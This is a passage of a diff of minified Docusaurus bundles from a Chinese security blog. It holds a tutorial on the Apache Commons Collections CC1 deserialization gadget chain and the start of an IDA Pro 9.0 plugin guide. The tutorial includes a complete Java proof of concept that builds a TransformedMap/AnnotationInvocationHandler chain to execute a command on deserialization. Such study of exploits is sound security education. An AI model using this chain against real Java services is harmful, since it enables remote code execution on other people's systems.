ff09\u548c",(0,s.jsx)(n.code,{children:"Dormant"}),"\uff08\u662f\u4e00\u4e9b\u521a\u542f\u52a8\u6216\u8005\u5df2\u7ecf\u505c\u6b62\u7ef4\u62a4\u7684\u9879\u76ee\uff09\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.a,{href:"http://commons.apache.org/proper/commons-collections/",children:"Commons Collections"}),"\u5305\u4e3aJava\u6807\u51c6\u7684",(0,s.jsx)(n.code,{children:"Collections API"}),"\u63d0\u4f9b\u4e86\u76f8\u5f53\u597d\u7684\u8865\u5145\u3002\u5728\u6b64\u57fa\u7840\u4e0a\u5bf9\u5176\u5e38\u7528\u7684\u6570\u636e\u7ed3\u6784\u64cd\u4f5c\u8fdb\u884c\u4e86\u5f88\u597d\u7684\u5c01\u88c5\u3001\u62bd\u8c61\u548c\u8865\u5145\u3002\u8ba9\u6211\u4eec\u5728\u5f00\u53d1\u5e94\u7528\u7a0b\u5e8f\u7684\u8fc7\u7a0b\u4e2d\uff0c\u65e2\u4fdd\u8bc1\u4e86\u6027\u80fd\uff0c\u540c\u65f6\u4e5f\u80fd\u5927\u5927\u7b80\u5316\u4ee3\u7801\u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"\u5305\u7ed3\u6784\u4ecb\u7ecd",children:"\u5305\u7ed3\u6784\u4ecb\u7ecd"}),"\n",(0,s.jsxs)(n.blockquote,{children:["\n",(0,s.jsx)(n.p,{children:"\u6ce8\u610f\uff1aCommons Collections\u7684\u6700\u65b0\u7248\u662f4.1\uff0c\u4f46\u7531\u4e8e\u5de5\u4f5c\u4e2d\u5927\u591a\u8fd8\u662f3.x\u7684\u7248\u672c\uff0c\u8fd9\u91cc\u5c31\u4ee53.x\u4e2d\u7684\u6700\u540e\u4e00\u4e2a\u7248\u672c3.2.2\u4f5c\u4f7f\u7528\u4ecb\u7ecd\u3002"}),"\n"]}),"\n",(0,s.jsxs)(n.p,{children:["\u4ee5\u4e0b\u662fCollections\u7684\u5305\u7ed3\u6784\u548c\u7b80\u5355\u4ecb\u7ecd\uff0c\u5982\u679c\u4f60\u60f3\u4e86\u89e3\u66f4\u591a\u7684\u5404\u4e2a\u5305\u4e0b\u7684\u63a5\u53e3\u548c\u5b9e\u73b0\uff0c\u8bf7\u53c2\u8003",(0,s.jsx)(n.a,{href:"http://commons.apache.org/proper/commons-collections/javadocs/api-3.2.2/index.html",children:"Apache Commons Collections 3.2.2 API\u6587\u6863"}),"\u3002"]}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"org.apache.commons.collections"})," \u2013 CommonsCollections\u81ea\u5b9a\u4e49\u7684\u4e00\u7ec4\u516c\u7528\u7684\u63a5\u53e3\u548c\u5de5\u5177\u7c7b"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"org.apache.commons.collections.bag"})," \u2013 \u5b9e\u73b0Bag\u63a5\u53e3\u7684\u4e00\u7ec4\u7c7b"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"org.apache.commons.collections.bidimap"})," \u2013 \u5b9e\u73b0BidiMap\u7cfb\u5217\u63a5\u53e3\u7684\u4e00\u7ec4\u7c7b"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"org.apache.commons.collections.buffer"})," \u2013 \u5b9e\u73b0Buffer\u63a5\u53e3\u7684\u4e00\u7ec4\u7c7b"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"org.apache.commons.collections.collection"})," \u2013\u5b9e\u73b0java.util.Collection\u63a5\u53e3\u7684\u4e00\u7ec4\u7c7b"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"org.apache.commons.collections.comparators"}),"\u2013 \u5b9e\u73b0java.util.Comparator\u63a5\u53e3\u7684\u4e00\u7ec4\u7c7b"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"org.apache.commons.collections.functors"})," \u2013Commons Collections\u81ea\u5b9a\u4e49\u7684\u4e00\u7ec4\u529f\u80fd\u7c7b"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"org.apache.commons.collections.iterators"})," \u2013 \u5b9e\u73b0java.util.Iterator\u63a5\u53e3\u7684\u4e00\u7ec4\u7c7b"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"org.apache.commons.collections.keyvalue"})," \u2013 \u5b9e\u73b0\u96c6\u5408\u548c\u952e/\u503c\u6620\u5c04\u76f8\u5173\u7684\u4e00\u7ec4\u7c7b"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"org.apache.commons.collections.list"})," \u2013 \u5b9e\u73b0java.util.List\u63a5\u53e3\u7684\u4e00\u7ec4\u7c7b"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"org.apache.commons.collections.map"})," \u2013 \u5b9e\u73b0Map\u7cfb\u5217\u63a5\u53e3\u7684\u4e00\u7ec4\u7c7b"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"org.apache.commons.collections.set"})," \u2013 \u5b9e\u73b0Set\u7cfb\u5217\u63a5\u53e3\u7684\u4e00\u7ec4\u7c7b"]}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u524d\u7f6e\u77e5\u8bc6",children:"\u524d\u7f6e\u77e5\u8bc6"}),"\n",(0,s.jsx)(n.h3,{id:"1mvn\u4f9d\u8d56",children:"1.mvn\u4f9d\u8d56"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-xml",children:"<dependencies>\n <dependency>\n <groupId>commons-collections</groupId>\n <artifactId>commons-collections</artifactId>\n <version>3.2.1</version>\n </dependency>\n</dependencies>\n"})}),"\n",(0,s.jsx)(n.h3,{id:"2\u624b\u6253poc",children:"2.\u624b\u6253POC"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-java",children:'import org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.TransformedMap;\n\nimport java.io.*;\nimport java.lang.annotation.Target;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Method;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class cc01 {\n public static void main(String[] args) throws Exception {\n//\t\t\u53cd\u5c04\u8c03\u7528 Runtime.exec("calc");\n// Class r = Runtime.class;\n// Method getRuntime = r.getMethod("getRuntime", null);\n// Object runtime = getRuntime.invoke(null, null);\n// Method exec = r.getMethod("exec", new Class[]{String.class});\n// Object calc = exec.invoke(runtime, new Object[]{"calc"});\n \n // \u6784\u9020 \u53ef\u5e8f\u5217\u5316\u7684 Transformer \u7c7b\u578b\u7684 Runtime.exec("calc");\n Transformer[] transformer_ = new Transformer[]{\n new ConstantTransformer(Runtime.class),\n new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),\n new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),\n new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),\n };\n\n \n ChainedTransformer chainedTransformer = new ChainedTransformer(transformer_);\n\n // \u6784\u9020TransformedMap\n HashMap<Object, Object> objectObjectHashMap = new HashMap<>();\n objectObjectHashMap.put("value","value"); // \u5c06\u503c\u8bbe\u7f6e\u6210value\uff0c\u8fdb\u5165\u6761\u4ef6 \u9650\u5236\n // \u6dfb\u52a0\u88c5\u7532 \u5c06map \u8f6c\u5316\u6210 TransformedMap\n Map<?,?> decorateMap = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);\n \n // \u751f\u6210\u5bf9\u8c61 sun.reflect.annotation.AnnotationInvocationHandler\n Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");\n Constructor<?> annotationInvocationHandler = aClass.getDeclaredConstructor(Class.class, Map.class);\n annotationInvocationHandler.setAccessible(true);\n Object o = annotationInvocationHandler.newInstance(Target.class, decorateMap);\n serialize(o);\n unserialize("ser.bin");\n \n }\n\n\n // \u53cd\u5e8f\u5217\u5316\n public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {\n ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));\n return objectInputStream.readObject();\n }\n // \u5e8f\u5217\u5316\n public static void serialize(Object obj) throws IOException {\n ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));\n objectOutputStream.writeObject(obj);\n }\n}\n'})}),"\n",(0,s.jsx)(n.h3,{id:"3transformer",children:"3.Transformer"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"Transformer"}),"\u662f",(0,s.jsx)(n.code,{children:"Commons Collections"}),"\u4e2d\u63d0\u4f9b\u7684\u4e00\u4e2a\u63a5\u53e3\u7c7b\uff0c\u53ea\u6709\u4e00\u4e2a\u5f85\u5b9e\u73b0\u7684",(0,s.jsx)(n.code,{children:"transform"}),"\u65b9\u6cd5\u3002"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-java",children:"public interface Transformer {\n\n /**\n * Transforms the input object (leaving it unchanged) into some output object.\n *\n * @param input the object to be transformed, should be left unchanged\n * @return a transformed object\n * @throws ClassCastException (runtime) if the input is the wrong class\n * @throws IllegalArgumentException (runtime) if the input is invalid\n * @throws FunctorException (runtime) if the transform cannot be completed\n */\n public Object transform(Object input);\n\n}\n"})}),"\n",(0,s.jsx)(n.h3,{id:"4invokertransformer",children:"4.InvokerTransformer"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"InvokerTransformer"})," \u662f ",(0,s.jsx)(n.code,{children:"Transformer"}),"\u63a5\u53e3\u7684\u53ef\u5e8f\u5217\u5316\u7684\u5b9e\u73b0\u7c7b\uff0c\u5728\u6784\u9020\u65b9\u6cd5\u4e2d\u6709\u4e09\u4e2a\u53c2\u6570"]}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"\u7b2c\u2f00\u4e2a\u53c2\u6570\u662f\u5f85\u6267\u2f8f\u7684\u2f45\u6cd5\u540d"}),"\n",(0,s.jsx)(n.li,{children:"\u7b2c\u2f06\u4e2a\u53c2\u6570\u662f\u8fd9\u4e2a\u51fd\u6570\u7684\u53c2\u6570\u5217\u8868\u7684\u53c2\u6570\u7c7b\u578b"}),"\n",(0,s.jsx)(n.li,{children:"\u7b2c\u4e09\u4e2a\u53c2\u6570\u662f\u4f20\u7ed9\u8fd9\u4e2a\u51fd\u6570\u7684\u53c2\u6570\u5217\u8868"}),"\n"]}),"\n",(0,s.jsxs)(n.p,{children:["\u91cc\u9762\u8fd8\u63d0\u4f9b\u4e86\u4e00\u4e2a",(0,s.jsx)(n.code,{children:"transform"}),"\u7684\u65b9\u6cd5\uff0c\u8be5\u65b9\u6cd5\u53ef\u4ee5\u901a\u8fc7Java\u53cd\u5c04\u673a\u5236\u6765\u8fdb\u884c\u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-java",children:'public Object transform(Object input) {\n if (input == null) {\n return null;\n }\n try {\n Class cls = input.getClass();\n Method method = cls.getMethod(iMethodName, iParamTypes);\n return method.invoke(input, iArgs);\n\n } catch (NoSuchMethodException ex) {\n throw new FunctorException("InvokerTransformer: The method \'" + iMethodName + "\' on \'" + input.getClass() + "\' does not exist");\n } catch (IllegalAccessException ex) {\n throw new FunctorException("InvokerTransformer: The method \'" + iMethodName + "\' on \'" + input.getClass() + "\' cannot be accessed");\n } catch (InvocationTargetException ex) {\n throw new FunctorException("InvokerTransformer: The method \'" + iMethodName + "\' on \'" + input.getClass() + "\' threw an exception", ex);\n }\n}\n\n'})}),"\n",(0,s.jsx)(n.h3,{id:"5chainedtransformer",children:"5.ChainedTransformer"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"ChainedTransformer"}),"\u662f ",(0,s.jsx)(n.code,{children:"Transformer"}),"\u63a5\u53e3\u7684\u53ef\u5e8f\u5217\u5316\u7684\u5b9e\u73b0\u7c7b\uff0c\u8be5\u7c7b\u7684transform\u65b9\u6cd5\u4e3a\u53ef\u5faa\u73af\u8c03\u7528iTransformers\u4e2d\u6bcf\u4e00\u4e2a\u503c\uff0c\u5c06\u5b83transform\u7684\u8fd4\u56de\u503c\u4f5c\u4e3a\u4e0b\u4e00\u4e2a\u7684\u4f20\u5165\u503c"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-java",children:" /**\n * Transforms the input to result via each decorated transformer\n * \n * @param object the input object passed to the first transformer\n * @return the transformed result\n */\n \npublic Object transform(Object object) {\n for (int i = 0; i < iTransformers.length; i++) {\n object = iTransformers[i].transform(object);\n }\n return object;\n }\n"})}),"\n",(0,s.jsx)(n.h3,{id:"6constanttransformer",children:"6.ConstantTransformer"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"ConstantTransformer"}),"\u662f\u63a5\u53e3",(0,s.jsx)(n.code,{children:"Transformer"}),"\u7684\u5b9e\u73b0\u7c7b\uff0c\u5b83\u7684\u8fc7\u7a0b\u5c31\u662f\u5728\u6784\u9020\u51fd\u6570\u7684\u65f6\u5019\u4f20\u2f0a\u2f00\u4e2a\u5bf9\u8c61\uff0c\u5e76\u5728",(0,s.jsx)(n.code,{children:"transform"}),"\u2f45\u6cd5\u5c06\u8fd9\u4e2a\u5bf9\u8c61\u518d\u8fd4\u56de\uff0c\u5176\u5b9e\u5c31\u662f\u5305\u88c5\u4efb\u610f\u2f00\u4e2a\u5bf9\u8c61\uff0c\u5728\u6267\u2f8f\u56de\u8c03\u65f6\u8fd4\u56de\u8fd9\u4e2a\u5bf9\u8c61\uff0c\u8fdb\u2f7d\u2f45\u4fbf\u540e\u7eed\u64cd\u4f5c\u3002"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-java",children:" /**\n * Transforms the input by ignoring it and returning the stored constant instead.\n * \n * @param input the input object which is ignored\n * @return the stored constant\n */\n public Object transform(Object input) {\n return iConstant;\n }\n\n"})}),"\n",(0,s.jsx)(n.h3,{id:"7map",children:"7.Map"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"Transform"}),"\u6765\u6267\u884c\u547d\u4ee4\u9700\u8981\u7ed1\u5b9a\u5230Map\u4e0a\uff0c\u62bd\u8c61\u7c7b",(0,s.jsx)(n.code,{children:"AbstractMapDecorator"}),"\u662fApache Commons Collections\u63d0\u4f9b\u7684\u4e00\u4e2a\u7c7b\uff0c\u5b9e\u73b0\u7c7b\u6709\u5f88\u591a\uff0c\u6bd4\u5982LazyMap\u3001TransformedMap\u7b49\uff0c\u8fd9\u4e9b\u7c7b\u90fd\u6709\u4e00\u4e2a",(0,s.jsx)(n.code,{children:"decorate()"}),"\u65b9\u6cd5\uff0c\u7528\u4e8e\u5c06\u4e0a\u8ff0\u7684Transformer\u5b9e\u73b0\u7c7b\u7ed1\u5b9a\u5230Map\u4e0a\uff0c",(0,s.jsx)(n.strong,{children:"\u5f53\u5bf9Map\u8fdb\u884c\u4e00\u4e9b\u64cd\u4f5c\u65f6\uff0c\u4f1a\u81ea\u52a8\u89e6\u53d1Transformer\u5b9e\u73b0\u7c7b\u7684tranform()\u65b9\u6cd5\uff0c\u4e0d\u540c\u7684Map\u7c7b\u578b\u6709\u4e0d\u540c\u7684\u89e6\u53d1\u89c4\u5219\u3002"})]}),"\n",(0,s.jsx)(n.h4,{id:"transformedmap",children:"TransformedMap"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"TransformedMap"}),"\u8fd9\u4e2a\u7c7b\u662f\u7528\u6765\u5bf9",(0,s.jsx)(n.code,{children:"Map"}),"\u8fdb\u884c\u67d0\u4e9b\u53d8\u6362\uff08\u4fee\u9970\uff09\u7528\u7684\uff0c\u4f8b\u5982\u5f53\u6211\u4eec\u4fee\u6539",(0,s.jsx)(n.code,{children:"Map"}),"\u4e2d\u7684\u67d0\u4e2a\u503c\u65f6\uff0c\u5c31\u4f1a\u89e6\u53d1\u6211\u4eec\u9884\u5148\u5b9a\u4e49\u597d\u7684\u67d0\u4e9b\u64cd\u4f5c\u6765\u5bf9",(0,s.jsx)(n.code,{children:"Map"}),"\u8fdb\u884c\u5904\u7406\uff08\u56de\u8c03\uff09\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u901a\u8fc7**",(0,s.jsx)(n.code,{children:"decorate"}),"\u51fd\u6570**\u5c31\u53ef\u4ee5\u5c06\u4e00\u4e2a\u666e\u901a\u7684",(0,s.jsx)(n.code,{children:"Map"}),"\u8f6c\u6362\u4e3a\u4e00\u4e2a",(0,s.jsx)(n.code,{children:"TransformedMap"}),"\u3002",(0,s.jsxs)(n.strong,{children:["\u7b2c\u4e8c\u4e2a\u53c2\u6570\u548c\u7b2c\u4e09\u4e2a\u53c2\u6570\u5206\u522b\u5bf9\u5e94\u5f53",(0,s.jsx)(n.code,{children:"key"}),"\u6539\u53d8\u548c",(0,s.jsx)(n.code,{children:"value"}),"\u6539\u53d8\u65f6\u5bf9\u5e94transform\u51fd\u6570\u9700\u8981\u505a\u7684\u64cd\u4f5c"]}),"\uff1b"]}),"\n",(0,s.jsx)(n.h4,{id:"mapentry",children:"Map.Entry"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"Map.Entry"}),"\u662fMap\u7684\u4e00\u4e2a\u5185\u90e8\u63a5\u53e3\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["Map.Entry\u662fMap\u58f0\u660e\u7684\u4e00\u4e2a\u5185\u90e8\u63a5\u53e3\uff0c\u6b64\u63a5\u53e3\u4e3a\u6cdb\u578b\uff0c\u5b9a\u4e49\u4e3a",(0,s.jsx)(n.code,{children:"Entry<K,V>"}),"\u3002\u5b83\u8868\u793aMap\u4e2d\u7684",(0,s.jsx)(n.code,{children:"\u4e00\u4e2a\u5b9e\u4f53\uff08\u4e00\u4e2akey-value\u5bf9\uff09"}),"\u3002\u63a5\u53e3\u4e2d\u6709",(0,s.jsx)(n.code,{children:"getKey()"}),"\u3001",(0,s.jsx)(n.code,{children:"getValue()"}),"\u65b9\u6cd5\u3002"]})]})}function m(e={}){const{wrapper:n}={...(0,a.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(d,{...e})}):d(e)}}}]); \ No newline at end of file diff --git a/assets/js/8471094a.3f760389.js b/assets/js/8471094a.3f760389.js new file mode 100644 index 0000000..26b7fd2 --- /dev/null +++ b/assets/js/8471094a.3f760389.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4151],{3961:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705178-f6b709f3a2893fd410301ce16db9072a.png"},4954:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705050-c4a2c4d278c11ba1cca8f0175a416335.png"},7194:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704916-0dc3cf52573c3795e7d6e2356b393b4f.png"},10013:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705310-87655b0dcfba15b7e5dbfef85c9d5f5a.png"},11309:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704865-b5a821ba78137ab90a1e2418f2cb9ee7.png"},11469:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704418-62a65b2d504965d3c5d59ea2076acc27.png"},12113:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704560-6cae391413aa5e44f269ab764a03baec.png"},18422:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704633-88f8990707ad4527a411435412d49945.png"},20076:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705214-68f9a67a84f676cf003992363faa71b4.png"},20697:(e,s,i)=>{i.r(s),i.d(s,{assets:()=>l,contentTitle:()=>t,default:()=>p,frontMatter:()=>c,metadata:()=>n,toc:()=>h});const n=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/IDA Pro 9.0 \u4e2d\u6587\u7a33\u5b9a\u7248\uff0c\u4e00\u952e\u5b89\u88c5&\u63d2\u4ef6\u5168\u653b\u7565","title":"IDA Pro 9.0 \u4e2d\u6587\u7a33\u5b9a\u7248\uff0c\u4e00\u952e\u5b89\u88c5&\u63d2\u4ef6\u5168\u653b\u7565","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0/04.IDA Pro 9.0 \u4e2d\u6587\u7a33\u5b9a\u7248\uff0c\u4e00\u952e\u5b89\u88c5&\u63d2\u4ef6\u5168\u653b\u7565.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/IDA Pro 9.0 \u4e2d\u6587\u7a33\u5b9a\u7248\uff0c\u4e00\u952e\u5b89\u88c5&\u63d2\u4ef6\u5168\u653b\u7565","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/IDA Pro 9.0 \u4e2d\u6587\u7a33\u5b9a\u7248\uff0c\u4e00\u952e\u5b89\u88c5&\u63d2\u4ef6\u5168\u653b\u7565","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0/04.IDA Pro 9.0 \u4e2d\u6587\u7a33\u5b9a\u7248\uff0c\u4e00\u952e\u5b89\u88c5&\u63d2\u4ef6\u5168\u653b\u7565.md","tags":[],"version":"current","sidebarPosition":4,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u6700\u65b0BurpSuite2025.10\u4e13\u4e1a\u7248\uff08\u66f4\u65b0\uff09\u4e0b\u8f7dWindows/Linux/Mac.\u6700\u65b0\u7248\u65e0\u9700 Java \u73af\u5883","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/\u6700\u65b0BurpSuite2025.10\u4e13\u4e1a\u7248\uff08\u66f4\u65b0\uff09\u4e0b\u8f7dWindowsLinuxMac.\u6700\u65b0\u7248\u65e0\u9700 Java \u73af\u5883"},"next":{"title":"Docker\u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248Awvs","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Docker \u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248Awvs"}}');var d=i(74848),a=i(28453);const c={},t="IDA Pro 9.0 \u4e2d\u6587\u7a33\u5b9a\u7248\uff0c\u4e00\u952e\u5b89\u88c5&\u63d2\u4ef6\u5168\u653b\u7565",l={},h=[{value:"\u4e00\u3001\u5b89\u88c5IDA9.0\u4e2d\u6587\u7248",id:"\u4e00\u5b89\u88c5ida90\u4e2d\u6587\u7248",level:2},{value:"\u4e8c\u3001IDA\u63d2\u4ef6\u5b89\u88c5",id:"\u4e8cida\u63d2\u4ef6\u5b89\u88c5",level:2},{value:"1.IDA Feeds\u63d2\u4ef6\u5b89\u88c5",id:"1ida-feeds\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"2.LazyIDA\u63d2\u4ef6\u5b89\u88c5",id:"2lazyida\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"3.keypatch9.0\u63d2\u4ef6\u5b89\u88c5",id:"3keypatch90\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"4.patching\u63d2\u4ef6\u5b89\u88c5",id:"4patching\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"5.auto-enum\u63d2\u4ef6\u5b89\u88c5",id:"5auto-enum\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"6.hrtng\u63d2\u4ef6\u5b89\u88c5",id:"6hrtng\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"7.classinformer\u63d2\u4ef6\u5b89\u88c5",id:"7classinformer\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"8.deREferencing\u63d2\u4ef6\u5b89\u88c5",id:"8dereferencing\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"9.IDA-DataExportPlus\u63d2\u4ef6\u5b89\u88c5",id:"9ida-dataexportplus\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"10.findhash\u63d2\u4ef6\u5b89\u88c5",id:"10findhash\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"11.WPeChatGP\u63d2\u4ef6\u5b89\u88c5",id:"11wpechatgp\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"12.HexRaysCodeXplorer\u63d2\u4ef6\u5b89\u88c5",id:"12hexrayscodexplorer\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"13.DA-DataExportPlus\u63d2\u4ef6\u5b89\u88c5",id:"13da-dataexportplus\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"14.findcrypt-yara \u63d2\u4ef6\u5b89\u88c5",id:"14findcrypt-yara-\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"15.VulFi\u63d2\u4ef6\u5b89\u88c5",id:"15vulfi\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"16.SigMaker\u63d2\u4ef6\u5b89\u88c5",id:"16sigmaker\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"17.idaclu\u63d2\u4ef6\u5b89\u88c5",id:"17idaclu\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"18.bindiff\u63d2\u4ef6\u5b89\u88c5",id:"18bindiff\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"19.ida-pro-mcp\u63d2\u4ef6\u7684\u5b89\u88c5\u548c\u4f7f\u7528",id:"19ida-pro-mcp\u63d2\u4ef6\u7684\u5b89\u88c5\u548c\u4f7f\u7528",level:3}];function r(e){const s={a:"a",code:"code",em:"em",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,a.R)(),...e.components};return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(s.header,{children:(0,d.jsx)(s.h1,{id:"ida-pro-90-\u4e2d\u6587\u7a33\u5b9a\u7248\u4e00\u952e\u5b89\u88c5\u63d2\u4ef6\u5168\u653b\u7565",children:"IDA Pro 9.0 \u4e2d\u6587\u7a33\u5b9a\u7248\uff0c\u4e00\u952e\u5b89\u88c5&\u63d2\u4ef6\u5168\u653b\u7565"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,d.jsxs)(s.table,{children:[(0,d.jsx)(s.thead,{children:(0,d.jsxs)(s.tr,{children:[(0,d.jsx)(s.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,d.jsx)(s.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,d.jsx)(s.tbody,{children:(0,d.jsxs)(s.tr,{children:[(0,d.jsx)(s.td,{style:{textAlign:"left"},children:(0,d.jsx)(s.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,d.jsx)(s.td,{style:{textAlign:"left"},children:"2025-11-05 12:31:00"})]})})]}),"\n",(0,d.jsx)(s.p,{children:"\u514d\u5219\u58f0\u660e\uff1a\u672c\u516c\u4f17\u53f7\u5927\u90e8\u5206\u6587\u7ae0\u6765\u81ea\u4f5c\u8005\u65e5\u5e38\u5b66\u4e60\u7b14\u8bb0\uff0c\u4e5f\u6709\u90e8\u5206\u6587\u7ae0\u662f\u7ecf\u8fc7\u4f5c\u8005\u6388\u6743\u8f6c\u8f7d\u548c\u5176\u4ed6\u516c\u4f17\u53f7\u767d\u540d\u5355\u8f6c\u8f7d\uff0c\u5982\u9700\u8f6c\u8f7d\uff0c\u8054\u7cfb\u4f5c\u8005\u5f00\u767d\u3002"}),"\n",(0,d.jsx)(s.p,{children:"\u6587\u7ae0\u4e2d\u6d89\u53ca\u7684\u7a0b\u5e8f(\u65b9\u6cd5)\u53ef\u80fd\u5e26\u6709\u653b\u51fb\u6027\uff0c\u4ec5\u4f9b\u5b89\u5168\u7814\u7a76\u4e0e\u6559\u5b66\u4e4b\u7528\uff0c\u8bfb\u8005\u5c06\u5176\u4fe1\u606f\u505a\u5176\u4ed6\u7528\u9014\uff0c\u7531\u7528\u6237\u627f\u62c5\u5168\u90e8\u6cd5\u5f8b\u53ca\u8fde\u5e26\u8d23\u4efb\uff0c\u6587\u7ae0\u4f5c\u8005\u4e0d\u627f\u62c5\u4efb\u4f55\u6cd5\u5f8b\u53ca\u8fde\u5